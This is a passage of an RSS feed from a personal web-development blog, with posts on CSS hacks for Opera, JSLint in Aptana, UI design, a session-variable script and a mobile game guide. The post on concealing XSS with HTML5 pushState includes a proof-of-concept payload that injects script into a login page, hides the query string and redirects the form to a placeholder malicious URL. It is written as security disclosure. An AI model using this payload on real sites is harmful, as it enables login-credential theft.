			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-target-css-only-for-opera%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-target-css-only-for-opera%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/opera/operaForBlog.png" alt="Opera" /></p>
<div class="ingress">Sometimes there is need to write browser-specific CSS declarations. Although every developer should put their best effort on creating structure and layout that doesn&#8217;t require any proprietary hacks, one may encounter situations where it&#8217;s impossible to proceed by the book.</div>
<p>My case was about font-size and letter-spacing on Opera (11.10). Opera was displaying selected font way too big to fit in allowed space and I needed a hack to fix this issue.</p>
<h2>Opera 9 and below</h2>
<p>This is pretty straight forward and well known hack:</p>
<pre name="code" class="css:nocontrols">html:first-child p
{
    font-size:12px;
}</pre>
<p>The real issue, in my case, was how to target newer and modern Opera versions 10 and 11.</p>
<h2>Opera 10 and above</h2>
<p>The answer is in media queries. Earlier this was obvious hack while no other browsers supported media-queries properly. However, nowadays more and more browsers support it and therefore we need to tweak the conditions a little:</p>
<pre name="code" class="css:nocontrols">@media not all and (-webkit-min-device-pixel-ratio:0) {
    p {
        font-size:12px;
    }
}</pre>
<p>I&#8217;ve validated this with Opera 10.5 and Opera 11. I also checked on Chrome 11, Chrome 12, Firefox 3.6, Firefox 4.0, Safari 5 and IE 8 that it doesn&#8217;t affect on them.</p>
<p><b>Edit:</b> I haven&#8217;t tested this on Opera 9 or earlier, but according to other resources, this hack should work on those browsers too.</p>
<h2>Conclusion</h2>
<p>It&#8217;s still possible to write browser-specific hacks but it&#8217;s getting more and more complex all the time. In this case we&#8217;re using a hack that is actually targeted to WebKit browsers to get them excluded from the media query hack. However, there is no confidence that this hack would work on Opera 12 or next versions of Safari or Chrome would behave as expected.</p>
<p>And big thanks goes to an article <a rel="external" href="http://grandic.com/html-css/css-hack-or-new-css-file-for-problematic-browsers/" title="CSS Hack or New CSS File for Problematic Browsers?">CSS Hack or New CSS File for Problematic Browsers?</a> and <a rel="external" href="http://css-tricks.com/is-there-any-dedicated-css-hacks-for-safari-or-opera/" title="Is There Any Dedicated CSS Hacks For Safari or Opera?">Is There Any Dedicated CSS Hacks For Safari or Opera?</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/how-to-target-css-only-for-opera/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>How to Run JSLint in Aptana&#160;Studio&#160;3</title>
		<link>http://samuli.hakoniemi.net/how-to-run-jslint-on-aptanastudio3/</link>
		<comments>http://samuli.hakoniemi.net/how-to-run-jslint-on-aptanastudio3/#comments</comments>
		<pubDate>Wed, 30 Mar 2011 08:28:53 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=602</guid>
		<description><![CDATA[JSLint is an extremely useful tool for front-end developers among other code validation. However, getting JSLint to work properly isn&#8217;t always as easy as it supposed to be. I ran into problems when I upgraded to Eclipse-based Aptana Studio from major version 2 to beta version 3. In addition, it was very hard to find [...]]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-run-jslint-on-aptanastudio3%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-run-jslint-on-aptanastudio3%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<div class="ingress">
<p>JSLint is an extremely useful tool for front-end developers among other code validation. However, getting JSLint to work properly isn&#8217;t always as easy as it supposed to be. I ran into problems when I upgraded to Eclipse-based Aptana Studio from major version 2 to beta version 3. In addition, it was very hard to find any proper solutions for my problem.</p>
</div>
<h2>Differences Between Aptana 3.x and 2.x</h2>
<p>The first thing to note is that Aptana Studio 3 doesn&#8217;t have similar plugin-based view than Aptana 2. After certain time of unsuccessful googling I figured out that proper keyword isn&#8217;t &#8220;aptana&#8221;, it&#8217;s &#8220;eclipse&#8221;.</p>
<p>In order to install new plugins (or software), you have to do it via <b><u>H</u>elp &raquo; Install New <u>S</u>oftware</b>.</p>
<h2>Installing JSLint</h2>
<p>Unlike in Aptana Studio 2, version 3 doesn&#8217;t have JSLint located as a validator in Aptana&#8217;s JavaScript preferences (if I&#8217;m running false configuration or doing something really wrong, please comment :)). However, <a rel="external" href="http://www.rockstarapps.com">Rockstarapps</a> is offering tools which also includes JSLint.</p>
<p>The problem I had with Rockstarapps was that it doesn&#8217;t look very trustworthy (blank site etc). But with little googling I found a resource for installing software at: <a rel="external" href="http://update.rockstarapps.com/site.xml">http://update.rockstarapps.com/site.xml</a>.</p>
<p>After you&#8217;ve added Rockstarapps resource to work with, you&#8217;ll see a list of tools on a window below, including JSLint. Go ahead and install these.</p>
<h2>Using JSLint</h2>
<p>After installation I was happy to start using JSLint. I searched for numerous places in order to configure and / or to run JSLint. This was frustrating and I already stopped searching since I still wasn&#8217;t feeling too confident about Rockstarapps.</p>
<p>On one day, I accidentially noticed that when I right-clicked on JavaScript file,  context menu included an option <i>&#8220;Rockstarapps&#8221;</i> with sub-option <i>&#8220;Validate with JSLint&#8221;</i>. That was it &#8211; JSLint was finally there, ready for use :).</p>
<h2>Conclusion</h2>
<p>I&#8217;m a kind of person that can be considered as an eternal beginner (or even stupid :p) when configuring applications and tools. But I know there are many others on a very similar position with me (according to my earlier experience and the amount of Stackoverflow + other rant encountered while googling). So I definitely hope this post really helps someone struggling with same problems than I did.</p>
<h2>External Resources</h2>
<ul>
<li><a rel="external" href="http://woidda.blogspot.com/2009/08/jslint-with-eclipse.html" title='Undefined is not a function: "JSLint with Eclipse"'>Undefined is not a function: &#8220;JSLint with Eclipse&#8221;</a></li>
<li><a rel="external" href="http://ajaxian.com/archives/rockstarapps-web-optimization-plugins-for-eclipse-and-aptana" title='Ajaxian: "RockstarApps’ Web Optimization plugins for Eclipse and Aptana"'>Ajaxian: &#8220;RockstarApps’ Web Optimization plugins for Eclipse and Aptana&#8221;</a>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/how-to-run-jslint-on-aptanastudio3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>User Interface Design Fails From Everyday Life #1</title>
		<link>http://samuli.hakoniemi.net/user-interface-fails-from-everyday-life-1/</link>
		<comments>http://samuli.hakoniemi.net/user-interface-fails-from-everyday-life-1/#comments</comments>
		<pubDate>Thu, 03 Feb 2011 08:00:53 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[User Experience]]></category>
		<category><![CDATA[User Interface Design]]></category>
		<category><![CDATA[interaction]]></category>
		<category><![CDATA[ui]]></category>
		<category><![CDATA[ux]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=557</guid>
		<description><![CDATA[I'm starting to write short series of articles about interaction design, user interfaces and user experiences in real life. The articles will mainly focus on the failures made happening either on interaction or in the interface.

This first post is about the behavior of stop buttons in buses. Sounds interesting, doesn't it? :)
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fuser-interface-fails-from-everyday-life-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fuser-interface-fails-from-everyday-life-1%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>[tweetmeme]</p>
<p>Today while traveling with a bus, I came across a bit unexpected behavior when I tried to stop the bus.</p>
<h2>Expected Interaction</h2>
<p>Briefly, while interacting with something it should at least produce information that a) it can be interacted with, b) it reacts on interaction and c) it confirms the result of an action was like intended.</p>
<p>In my case this means that a) there are red stop buttons labeled &#8220;stop&#8221;, &#8220;push&#8221;, &#8220;press&#8221; etc. , b) these buttons reacts physically while pressed and c) I receive a sound and / or visual notification that my action had a reaction.</p>
<h2>What I Experienced</h2>
<p>This is what actually happened: there was a digital display, which would show a word &#8220;stop&#8221; when stop button is pressed. This display was empty at the moment, so I pressed one of the stop buttons which reacted normally. But nothing happened. No &#8220;stop&#8221; on display, no sound. Nothing.</p>
<p>It&#8217;s quite obvious that either the button is broken or both the display and the sound speaker is broken. But since I remembered hearing a sound notification earlier on the trip, I was convinced that this very button was broken.</p>
<p>Since my bus stand was already close I dived onto next button and pressed it. Same resolution: nothing happened.</p>
<p>Well, tough luck.. until I suddenly noticed that the display has word &#8220;stop&#8221; on it. Hooray! Someone else had actually succeeded to perform the simple task I was unable to do.</p>
<p>Then again, the &#8220;stop&#8221; disappeared from the screen. It took about four seconds and the word &#8220;stop&#8221; was there again.</p>
<p>A blinking stop sign? A blinking stop sign with about four second intervals? And the sound notification only on first press (apparently someone else had pressed the button before me).</p>
<p>I was just unlucky not to watch the display just while it was actually displaying the text. Practically that meant 15-20 seconds of uncertainty will the bus stop or not.</p>
<h2>Why?</h2>
<p>But the actual question I had in my mind was: what was the added value by having a very slowly blinking stop button? What was the person behind design actually trying to achieve?</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/user-interface-fails-from-everyday-life-1/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>How to Conceal XSS Injection in HTML5</title>
		<link>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/</link>
		<comments>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/#comments</comments>
		<pubDate>Wed, 22 Dec 2010 21:33:12 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[history.pushstate]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=532</guid>
		<description><![CDATA[<a href="how-to-conceal-xss-injection-in-html5/"><img src="/wp-content/images/pushstate/pushState.png" alt="" /></a>
<p>In this article I will take a quick glance on a quite peculiar method called <i>pushState()</i>. There is one security related issue I want to point out, which I'm considering rather harmful.</p>
]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-conceal-xss-injection-in-html5%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-conceal-xss-injection-in-html5%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/pushstate/pushState.png" alt="" /></p>
<div class="ingress">
<p>I was playing around with <i>window.history</i> object. In general, it&#8217;s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.</p>
<p>In this article I will take a quick glance on a quite peculiar method called <i>pushState()</i>. There is one security related issue I want to point out, which I&#8217;m considering rather harmful.</p>
</div>
<h2>history.pushState()</h2>
<p>[tweetmeme]</p>
<p><a rel="external" href="https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history#The_pushState().c2.a0method">history.pushState()</a> was introduced in HTML5 and it&#8217;s meant for modifying history entries.</p>
<p>By using pushState() we&#8217;re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn&#8217;t it?</p>
<h2>The Harmful Part</h2>
<p>The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can&#8217;t be replaced, we can completely change the pathname.</p>
<p>So, I made a brief PoC about hiding a non-persistent XSS exploit. It&#8217;s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.</p>
<h2>Proof of Concept</h2>
<p>This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.</p>
<p>pushState() works properly also in Safari 5, but it&#8217;s security control refuses to load external scripts or execute injected scripts.</p>
<p>I&#8217;ll inject some malicious code via query parameter: <i>?username=&#8221;&gt;&lt;script&gt;(history.pushState({},&#8221;,&#8217;index.php&#8217;))(document.forms[0].action=&#8217;http://maliciousURL&#8217;)&lt;/script&gt;</i></p>
<p>As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): <a rel="external" href="http://bit.ly/pushStateXSS">http://bit.ly/pushStateXSS</a>.</p>
<p>Just visit this URL to see how pushState() behaves and what is shown in address bar.</p>
<h2>Conclusion</h2>
<p>Can this be considered as a security flaw? &#8211; Definitely yes.</p>
<p>How it should be fixed? &#8211; <del>There should be a property, eg. <i>history.allowPushState</i> which would be set to <i>false</i> by default. And website developers could explicitly set it to true while being aware of the risks.</del> <b>Edit:</b> I&#8217;ve received some feedback about this. And you&#8217;re right &#8211; this wouldn&#8217;t fix anything since it could be set to true in injection. I wasn&#8217;t thinking this thoroughly :).</p>
<p><b>Note:</b> I&#8217;m taking advantage of this technique in my <a rel="external" href="http://bit.ly/xss_1">//bit.ly/xss_1</a>, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after &#8220;?&#8221; from the URL in address bar.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/how-to-conceal-xss-injection-in-html5/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Javascript Session Variables Without Cookies</title>
		<link>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/</link>
		<comments>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/#comments</comments>
		<pubDate>Tue, 21 Dec 2010 21:37:06 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[Web Development]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[session]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=513</guid>
		<description><![CDATA[<a href="javascript-session-variables-without-cookies/"><img src="/wp-content/images/history/SessionJS.png" alt="" /></a>

In this article I'll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively.]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjavascript-session-variables-without-cookies%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fjavascript-session-variables-without-cookies%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/history/SessionJS.png" alt="" /></p>
<div class="ingress">
<p>I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.</p>
<p>In this article I&#8217;ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.</p>
</div>
<p>[tweetmeme]<br />
The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. <a rel="external" href="http://blogs.sitepoint.com/2009/08/19/javascript-json-serialization/">Sitepoint: Cross-browser JSON Serialization in JavaScript</a>).</p>
<p>The reason I wrote this is simple &#8211; sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don&#8217;t want to pollute cookie with (secondary) data that isn&#8217;t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.</p>
<p>Therefore I&#8217;m using <i>window.name</i> property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.</p>
<p>There are also other implementations of the very same topic, such as <a rel="external" href="http://www.thomasfrank.se/sessionvars.html">Thomas Frank&#8217;s sessvars</a>.</p>
<p>I&#8217;ll write another post later to demonstrate this snippet in real use.</p>
<h2>Methods</h2>
<p>There are following methods:</p>
<h3>Session.setVar(string name, mixed value)</h3>
<p>This sets the variable. You can add any type of value (number, string, boolean, object).</p>
<h3>Session.getVar(string name)</h3>
<p>This returns the variable. If such variable doesn&#8217;t exist, this returns false.</p>
<h3>Session.removeVar(string name)</h3>
<p>This removes the variable. If such variable doesn&#8217;t exist, this returns false.</p>
<h3>Session.subscribe(string name, function callback)</h3>
<p>This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won&#8217;t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.</p>
<p>You can add a &#8220;namespace&#8221; for functions to distinct them for unsubscribing. This is done by adding a period on variable name: <i>Session.subscribe(&#8220;foo.alertVariable&#8221;, function() { alert(Session.getVar(&#8220;foo&#8221;); });</i>.</p>
<h3>Session.unsubscribe(string name)</h3>
<p>This simply unsubscribes certain function attached to the variable, eg <i>Session.unsubscribe(&#8220;foo.alertVariable&#8221;)</i>.</p>
<h2>Source Code</h2>
<p>You can get the source code from <a rel="external" href="http://demo.hakoniemi.net/Session.js/Session.js">here</a>.</p>
<p>There is also very small demonstration available in <a rel="external" href="http://demo.hakoniemi.net/Session.js/">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/javascript-session-variables-without-cookies/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>How to Get Started with Shadow Cities</title>
		<link>http://samuli.hakoniemi.net/how-to-get-started-with-shadow-cities/</link>
		<comments>http://samuli.hakoniemi.net/how-to-get-started-with-shadow-cities/#comments</comments>
		<pubDate>Thu, 11 Nov 2010 22:47:47 +0000</pubDate>
		<dc:creator>Samuli Hakoniemi</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[cities]]></category>
		<category><![CDATA[games]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[shadow]]></category>
		<category><![CDATA[shadowcities]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://samuli.hakoniemi.net/?p=476</guid>
		<description><![CDATA[<img src="/wp-content/images/shadowcities/shadowcities.jpg" alt="Shadow Cities" />
<p>Shadow Cities is a location based MMORPG which was just released for iPhone and is currently in beta stage (available only in Finland).</p>

<p>In order to get you started, I decided to write this post. I've myself played only for two days, nearly as long as the game has been publicly available. So these advices are from newbie to newbie :). And it's very possible some of these advices gets outdated in near future. However I truly hope you get some perspective in the game after you've read the post.</p>]]></description>
			<content:encoded><![CDATA[<div class="tweetmeme_button" style="float: right; margin-left: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-get-started-with-shadow-cities%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fsamuli.hakoniemi.net%2Fhow-to-get-started-with-shadow-cities%2F&amp;source=zvona&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p><img src="/wp-content/images/shadowcities/shadowcities.jpg" alt="Shadow Cities" /></p>
<p><b>Please notice this article is  outdated, after the client and game mechanics were renewed on May 2011!</b></p>
<p><b>I strongly suggest reading <a href="http://www.shadowcities.com/forum/topic/1191/" rel="external">STARTERS GUIDE</a> at Shadow Cities forum instead of this article.</b></p>
<div class="ingress">
<p><a rel="external" href="http://www.shadowcities.com">Shadow Cities</a> is a location based MMORPG which was just released for iPhone and is currently in beta stage (available only in Finland).</p>
<p>In order to get you started, I decided to write this post. I&#8217;ve myself played only for two days, nearly as long as the game has been publicly available. So these advices are from newbie to newbie :). And it&#8217;s very possible some of these advices gets outdated in near future.</p>
</div>
<p>[tweetmeme]</p>
<p>These advices are unofficial and made from personal perspective. By the way, I&#8217;m playing with character called &#8220;Macaco&#8221; for the Architects.</p>
<p><b>Last updated on 13th of Nov, 2010</b></p>
<h2>Table of Contents</h2>
<ul>
<li><a href="#read_the_help_section">Read the Help Section</a></li>
<li><a href="#about_the_terminology">About the Terminology</a></li>
<li><a href="#what_is_mana">What is Mana?</a></li>
<li><a href="#how_do_i_gain_experience">How Do I Gain Experience?</a></li>
<li><a href="#what_are_the_captured_spirits">What Are the Captured Spirits?</a></li>
<li><a href="#how_to_kill_other_players">How to Kill Other Players?</a></li>
<li><a href="#how_to_research">How to Research?</a></li>
<li><a href="#how_to_collect_energy">How to Collect Energy?</a></li>
<li><a href="#what_should_i_build_and_why">What Should I Build, And Why?</a></li>
<li><a href="#what_is_warping">What is Warping?</a></li>
<li><a href="#what_spells_should_i_choose">What Spells Should I Choose?</a></li>
<li><a href="#closing_words">Closing Words</a></li>
</ul>
<h2 id="read_the_help_section" name="read_the_help_section">Read the Help Section</h2>
<p>Shadow Cities has a brief and clear help section, which you really should read before starting your career as a mage. It can also be found online from <a href="http://www.shadowcities.com/help/" rel="external">Shadow Cities Help Section</a>.</p>
<p>Seriously, read it.</p>
<h2 id="about_the_terminology" name="about_the_terminology">About the Terminology</h2>
<dl>
<dt>Teams</dt>
<dd>You&#8217;ll belong either on the Architects or the Animators. On daily basis, your side will mostly affect on how you&#8217;re able to travel (or warp) in your area without moving physically. On weekly basis, there are different kind of campaigns where both teams compete against each other.</dd>
<dt>Hitpoints</dt>
<dd>Mages don&#8217;t have hitpoints, only spirits do. This means neither you can&#8217;t get killed, nor can the other mages. Every time a mage is hit, he&#8217;ll lose (only) mana.</dd>
<dt>Mana</dt>
<dd>Whenever you want to do something cool, you&#8217;ll need mana for that.</dd>
<dt>Experience</dt>
<dd>In order to get on next level, you need to gain experience. The best way to gain experience is to kill spirits.</dd>
<dt>Spirits</dt>
<dd>Spirits are the non-player characters of the game, which you&#8217;ll hunt down and kill until your screen has a greasy Z figure on it. And then you&#8217;ll kill some more.</dd>
<dt>Energy</dt>
<dd>Energy can be considered as &#8220;experience points of the team&#8221;. It seems there will be different kind of contest every week between teams and the amount of collected energy is in important role. The main resource for energy are the dominators.</dd>
<dt>Warping</dt>
<dd>This is how you travel inside the game. Or of course you can travel physically, but by warping you&#8217;ll get to different places very quickly. Warping back and forth doesn&#8217;t consume any mana.</dd>
<dt>Buildings</dt>
<dd>There are different kind of buildings, and the dominators are the most important ones. These towers has several meanings which you can find out by reading through the help section.</dd>
<dt>Power</dt>
<dd>Power is needed in order to build specific type of buildings. Dominators are generating power, while other type of buildings are consuming it.</dd>
<dt>Energy Gateways</dt>
<dd>These are burning flames around the realm. They can be conquered by attaching dominators to them. They also can be bought with mana bottles, making the buyer as the Shadow lord of the realm (the close surroundings).</dd>
</dl>
<h2 id="what_is_mana" name="what_is_mana">What is Mana?</h2>
<p>On the bottom left corner of the main view, there&#8217;s a blue bottle and a tiny meter. This is your mana. Good thing to remember is that nearly every action requires mana in some way.</p>
<p>The meter will show much mana you&#8217;ve charged with, and the number above the bottle displays the amount of mana bottles. One bottle will recharge your mana completely. Full charge of mana will be enough for 3 &#8211; 4 war spells.</p>
<p>Mana bottles are also the currency in the Shadow Cities. This is quite important to realize. Don&#8217;t use bottles for recharging whenever you&#8217;ve time to wait.  Mana will automatically regenerate, but the bottles won&#8217;t. Therefore it&#8217;s the best way just to wait for recharging. Trust me, you&#8217;ll eventually end up in a situation where you&#8217;ll curse yourself for spending mana bottles in vain.</p>
<p>There are three ways to gain more mana bottles: 1) buying them from App Store, 2) researching (see &#8220;What Are the Captured Spirits?&#8221;) and 3) by completing tasks (little yellow exclamation or question mark on bottom right of the screen).</p>
<h2 id="how_do_i_gain_experience" name="how_do_i_gain_experience">How Do I Gain Experience?</h2>
<p>The best way to gain experience is by killing spirits. There are different kind of spirits, but most of them are quite easy catches (Rank 1).</p>
<p>Spirits are flying around and will not attack you until you&#8217;ve first attacked them. You should definitely go after them whenever you&#8217;ve got enough mana to throw at least two war spells.</p>
<p>It&#8217;s not cool either to kill a spirit someone else is trying to kill. No matter if he&#8217;s an Architect or an Animator. The amount of experience is nothing compared the amount of disrespect you gain.</p>
<h2 id="what_are_the_captured_spirits" name="what_are_the_captured_spirits">What Are the Captured Spirits?</h2>
<p>After you kill a spirit, it&#8217;s captured. The list of captured spirits can be found by pressing the white Shadow Cities icon on the bottom right. And on the sub menu, go for the yellow icon on the top left.</p>
<p>There are 12 different kind of spirits in total, with three different colors (red, green, blue) and four different houses (Dannan, Drioma, Inrik, Tiermes).</p>
<p>There are two things that makes some spirits more worthy than others: 1) spirits have different values (marked with stars) and 2) some type of spirits are used to research mana bottles.</p>
<p>Captured spirits can be used for generating energy. The value (no star, one star, three star) defines the amount of energy you&#8217;ll generate while donating the spirit. They can also be used for researching mana bottles.</p>
<p>The point here is to focus on more valuable spirits and / or spirits that can be used for researching. I&#8217;ve noticed that more valuable spirits (especially three stars on them) are harder to capture, but you&#8217;ll also gain more experience by killing them. So, I definitely recommend hunting down these certain type of spirits.</p>
<h2 id="how_to_kill_other_players" name="how_to_kill_other_players">How to Kill Other Players?</h2>
<p>Never ever go after other players! It just doesn&#8217;t make sense. At the moment, other players can&#8217;t be killed (I personally hope this get changed). They&#8217;ll only lose their mana &#8211; and so do you. If you encounter an hostile situation you should just warp away.</p>
<p>Only reasonable situation for attacking opponent players is when they&#8217;re trying to destroy your buildings. However, it&#8217;s easy for them to logout and come back later with recharged mana and continue the destruction. But at least you&#8217;ve tried your best :).</p>
<h2 id="how_to_research" name="how_to_research">How to research?</h2>
<p>You can research by selecting yellow character icon from top left and then the mana bottle from sub menu. In research menu you see three headers labeled as &#8220;Research&#8221;, &#8220;My Public Projects&#8221; and &#8220;Other Public Projects&#8221;.</p>
<p>Currently it seems that &#8220;Red Dannan&#8221;, &#8220;Green Drioma&#8221; and &#8220;Blue Inrik&#8221; are used for researching purposes. I don&#8217;t know whether this will change on some interval.</p>
<p>You should check what type of spirits you have for researching purposes from &#8220;Research&#8221; view. But don&#8217;t start your own project yet. Instead you should check through ongoing public projects whether you can contribute to them.</p>
<p>Every mage who participates on research project will gain one mana bottle. If they participate by adding multiple type of spirits they still gain only one bottle. Therefore it makes no sense to contribute with more than one spirit.</p>
<p>When you start your own project, it will appear as public project, but only to your friends. However, when you participate on a project created by someone else, this project will be seen only by his friends.</p>
<h2 id="how_to_collect_energy" name="how_to_collect_energy">How to Collect Energy?</h2>
<p>The dominators are the main source of energy. Dominators will slowly generate energy, and when they&#8217;re filled with energy, a red circle will appear around them and you can harvest the energy. You&#8217;re also capable of harvesting your team members dominators. Another way to collect energy is to donate captured spirits (see above).</p>
<p>You&#8217;ll also gain (or rob) energy when destroying opponents dominator which is fully charged. It&#8217;s extremely rewarding when you stumble upon a field of opponent dominators.</p>
<p>It&#8217;s rather important to collect energy. Energy will help your team to win the weekly campaign. And you&#8217;ll be rewarded according to the energy you&#8217;ve collected.</p>
<h2 id="what_should_i_build_and_why" name="what_should_i_build_and_why">What Should I Build, And Why?</h2>
<p>Build dominators. Focus on building the dominators. And harvest the dominators as often as possible.</p>
<p>Distribute dominators. The amount of power generated by dominators doesn&#8217;t depend on the location of dominator. In addition, your dominators will generate more energy in average when they&#8217;re distributed to different gateways. One dominator per player, per gateway will generate 12 energy points, while two of them will generate only 8 points each. If you connect eg. five of your dominators to a single gateway, they&#8217;ll generate only five energy points each.</p>
<p>Always destroy enemy dominators when you encounter them. This is the situation where mana bottles are essential because you really want to get rid of them all. At the moment it seems not many players are fully aware of this. By destroying opponent&#8217;s dominators you both gain experience and harm their infrastructure.</p>
<p>You&#8217;ll find out the meaning of all the other buildings while you&#8217;re progressing on the game. But the dominators are the constitution of the game.</p>
<h2 id="what_is_warping" name="what_is_warping">What is Warping?</h2>
<p>In order to get easily on different places, you&#8217;ll need to warp. Whenever there&#8217;s something that belongs to your team, you can warp on it. That is very good thing to remember.</p>
<p>It&#8217;s possible to warp longer distances. This is done through beacons, a specific type of building which has to be built by someone. You can see the available beacons by entering into expanded view by clicking on the white Shadow Cities on the bottom right, and then on the submenu, click the white cloud icon on bottom left.</p>
<h2 id="what_spells_should_i_choose" name="what_spells_should_i_choose">What Spells Should I Choose?</h2>
<p>I have no straight answer on this, so I&#8217;ll make a good guess:</p>
<ul>
<li>Upgrade your war spell first</li>
<li>Catchers are excellent for capturing loads of (both common and rare spirits). I recommend learning this spell on second.</li>
<li>Ability to heal makes you feel like a good mage when you&#8217;re donating your mana to other players. However, at the beginning it&#8217;s useless for healing buildings while most of them can be destroyed with couple of war spells</li>
<li>You won&#8217;t be needing beacons in the beginning. They consume lots of power while they won&#8217;t provide you any value. Don&#8217;t go for them.</li>
<li>Traps are always cool. But lower level spell is quite useless, since the trap can be destroyed with one or two war spells</li>
</ul>
<p>So in general, consider evolving only in the war and catcher spells. They are the spells you&#8217;ve personally needing most. Your team will need you, but not when you&#8217;re on level&nbsp;5.</p>
<h2 id="closing_words" name="closing_words">Closing Words</h2>
<p>I just hope this helps you to get started. Playing Shadow Cities isn&#8217;t that complicated. But I&#8217;ve heard some of the new players complaining about the icons and terms that they&#8217;re not self explanatory, and you easily end up wandering and doing something meaningless. But it&#8217;s good to remember that the game is in beta phase and at least I do think the game will evolve from this point.</p>
]]></content:encoded>
			<wfw:commentRss>http://samuli.hakoniemi.net/how-to-get-started-with-shadow-cities/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 2.342 seconds. -->
